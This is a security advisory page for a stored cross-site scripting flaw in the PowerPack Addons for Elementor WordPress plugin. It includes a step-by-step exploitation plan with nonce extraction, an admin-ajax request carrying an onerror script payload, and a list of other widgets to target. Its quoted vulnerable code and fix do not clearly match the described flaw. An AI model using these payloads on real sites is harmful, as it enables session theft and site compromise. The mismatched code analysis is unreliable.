PowerPack Addons for Elementor <= 2.9.9 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The PowerPack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.9.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.9.9What Changed in the Fix
Changes introduced in v2.9.10
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32430 ## 1. Vulnerability Summary The **PowerPack Addons for Elementor** plugin (up to version 2.9.9) is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting (XSS)**. The vulnerability exists because certain widgets and extensions provided …
Show full research plan
Exploitation Research Plan: CVE-2026-32430
1. Vulnerability Summary
The PowerPack Addons for Elementor plugin (up to version 2.9.9) is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting (XSS). The vulnerability exists because certain widgets and extensions provided by the plugin fail to properly sanitize user-supplied settings (input) and fail to escape them during output rendering on the frontend. This allows a user with "Contributor" privileges or higher to inject arbitrary JavaScript into a page via the Elementor editor, which executes when any user (including administrators) views that page.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
elementor_ajax(standard Elementor data saving mechanism) - Vulnerable Parameter: The
settingsobject within the JSON payload of thesave_builder_dataaction. Specifically, text-based settings (e.g.,title,prefix,suffix,content) in PowerPack widgets. - Authentication: Requires "Contributor" level access. Contributors can edit their own posts using the Elementor editor.
- Preconditions:
- The PowerPack Addons for Elementor plugin must be active.
- The Elementor Page Builder must be active.
- The attacker has access to the Elementor editor for at least one post/page.
3. Code Flow
- Input: A Contributor user saves a post in the Elementor editor. Elementor sends a JSON payload to
admin-ajax.phpcontaining widget configurations. - Storage: Elementor's core logic receives this via the
elementor_ajaxaction and saves the data to the WordPress database in thewp_postmetatable under the key_elementor_data. - Registration: PowerPack modules are registered via
PowerpackElementsLite\Base\Module_Base::init_widgets(). This method iterates through widgets and registers them with the Elementorwidgets_manager. - Rendering: When the post is viewed on the frontend, Elementor iterates through the stored widgets. For PowerPack widgets (inheriting from
Powerpack_Widget), it calls the widget'srender()method (located in the specific widget file, e.g.,widgets/info-box.php, not provided but part of the plugin structure). - Sink: Inside the
render()method, settings are retrieved using$this->get_settings_for_display(). The vulnerability occurs when these settings are echoed directly to the page without context-appropriate escaping functions likeesc_html()orwp_kses_post().
4. Nonce Acquisition Strategy
To save data via Elementor's AJAX API, a valid Elementor-specific nonce is required.
- Create/Identify a Post: Use WP-CLI to ensure a post exists that the Contributor can edit.
wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="XSS Test" - Navigate to Editor: Use
browser_navigateto open the Elementor editor for that post:URL: /wp-admin/post.php?post=[POST_ID]&action=elementor - Extract Nonce: Use
browser_evalto extract the nonce from the global JavaScript configuration object injected by Elementor.- Variable Name:
elementorCommon.config.ajax.nonceorelementorConfig.ajax.nonce. - Logic:
browser_eval("window.elementorConfig?.ajax?.nonce || window.elementorCommon?.config?.ajax?.nonce")
- Variable Name:
5. Exploitation Strategy
The goal is to update the post metadata with a malicious PowerPack widget configuration.
Step-by-Step Plan:
- Login: Authenticate as a Contributor.
- Get Post & Nonce: Create a post and extract the
elementor_ajaxnonce as described in Section 4. - Craft Payload: Create a JSON payload for the
elementor_ajaxaction. We will target thepp-info-boxorpp-dual-headingwidget, which are standard in this pack.
HTTP Request (via http_request):
- Method: POST
- URL:
http://[TARGET]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:elementor_ajax_nonce:[EXTRACTED_NONCE]actions:{ "save_builder_data": { "action": "save_builder_data", "data": { "post_id": "[POST_ID]", "data": [ { "id": "exploit-widget-id", "elType": "widget", "widgetType": "pp-info-box", "settings": { "title": "<img src=x onerror=alert('StoredXSS')>", "description": "Exploit Description" }, "elements": [] } ] } } }
- Trigger: Navigate to the frontend view of the post:
http://[TARGET]/?p=[POST_ID]. - Verification: Check if the script executes in the browser.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post: Ensure the contributor owns a post.
wp post create --post_author=$(wp user get attacker --field=ID) --post_title="PowerPack Edit" --post_status=publish - Plugin Config: No special configuration required, as most widgets are enabled by default.
7. Expected Results
- The
elementor_ajaxrequest should return a200 OKwith a JSON body indicatingsuccess: true. - The
wp_postmetafor the post (key_elementor_data) should now contain the injected<img src=x onerror=...>payload. - When visiting the post URL, an alert box with
StoredXSSshould appear.
8. Verification Steps
After the HTTP exploit, use WP-CLI to verify the injection in the database:wp post meta get [POST_ID] _elementor_data
The output should show the raw HTML payload within the JSON string, confirming it was not sanitized upon storage.
9. Alternative Approaches
If the pp-info-box widget is patched or specifically sanitized, target other widgets by changing the widgetType:
pp-counter(target settings:title,prefix,suffix)pp-dual-heading(target settings:first_heading,second_heading)pp-business-hours(target settings:day,time)
Additionally, check Extensions defined in base/extension-base.php. If the plugin adds "Tooltips" or "Entrance Animations" as extensions to standard Elementor widgets, the payload can be injected into the extension settings (e.g., powerpack_tooltip_text).
Summary
The PowerPack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its widgets (such as Info Box, Counter, and Dual Heading) due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level access or higher can inject arbitrary JavaScript into page builder settings, which then executes in the browser of any user visiting the affected page.
Vulnerable Code
// base/powerpack-widget.php:51 public function upgrade_powerpack_message() { $upgrade_message = sprintf( __( 'Upgrade to %1$s Pro Version %2$s for 90+ widgets, exciting extensions and advanced features.', 'powerpack' ), '<a href="https://powerpackelements.com/upgrade/?utm_medium=pp-elements-lite&utm_source=pp-widget-upgrade-section&utm_campaign=pp-pro-upgrade" target="_blank" rel="noopener">', '</a>' ); return $upgrade_message; } --- // classes/class-pp-admin-settings.php:364 private static function save_modules() { if ( ! isset( $_POST['pp-modules-settings-nonce'] ) || ! wp_verify_nonce( $_POST['pp-modules-settings-nonce'], 'pp-modules-settings' ) ) { return; } if ( isset( $_POST['pp_enabled_modules'] ) ) { update_site_option( 'pp_elementor_modules', $_POST['pp_enabled_modules'] ); } else { update_site_option( 'pp_elementor_modules', 'disabled' ); } }
Security Fix
@@ -41,13 +41,25 @@ } public function upgrade_powerpack_title() { - $upgrade_title = esc_html__( 'Get PowerPack Pro', 'powerpack' ); + $upgrade_title = esc_html__( 'Get PowerPack Pro', 'powerpack-lite-for-elementor' ); return $upgrade_title; } public function upgrade_powerpack_message() { - $upgrade_message = sprintf( __( 'Upgrade to %1$s Pro Version %2$s for 90+ widgets, exciting extensions and advanced features.', 'powerpack' ), '<a href="https://powerpackelements.com/upgrade/?utm_medium=pp-elements-lite&utm_source=pp-widget-upgrade-section&utm_campaign=pp-pro-upgrade" target="_blank" rel="noopener">', '</a>' ); + $upgrade_url = 'https://powerpackelements.com/upgrade/?utm_medium=pp-elements-lite&utm_source=pp-widget-upgrade-section&utm_campaign=pp-pro-upgrade'; + + $upgrade_message = sprintf( + /* translators: 1: Opening anchor tag, 2: Closing anchor tag. */ + __( + 'Upgrade to %1$sPro Version%2$s for 90+ widgets, exciting extensions and advanced features.', + 'powerpack-lite-for-elementor' + ), + '<a href="' . $upgrade_url . '" target="_blank" rel="noopener">', + '</a>' + ); + + $upgrade_message = wp_kses_post( $upgrade_message ); return $upgrade_message; }
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access must first obtain a valid Elementor AJAX nonce by accessing the Elementor editor for a post they own. Once authenticated, the attacker sends a POST request to `/wp-admin/admin-ajax.php` with the action `elementor_ajax` and the sub-action `save_builder_data`. The payload includes a JSON-encoded widget configuration (e.g., for the `pp-info-box` widget) where text-based settings like `title` or `description` are populated with a malicious script (e.g., `<img src=x onerror=alert(1)>`). Because the plugin fails to sanitize this input upon saving and fails to escape it during rendering, the script is stored in the `wp_postmeta` table and will execute in the browser of any user who views the published or previewed post.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.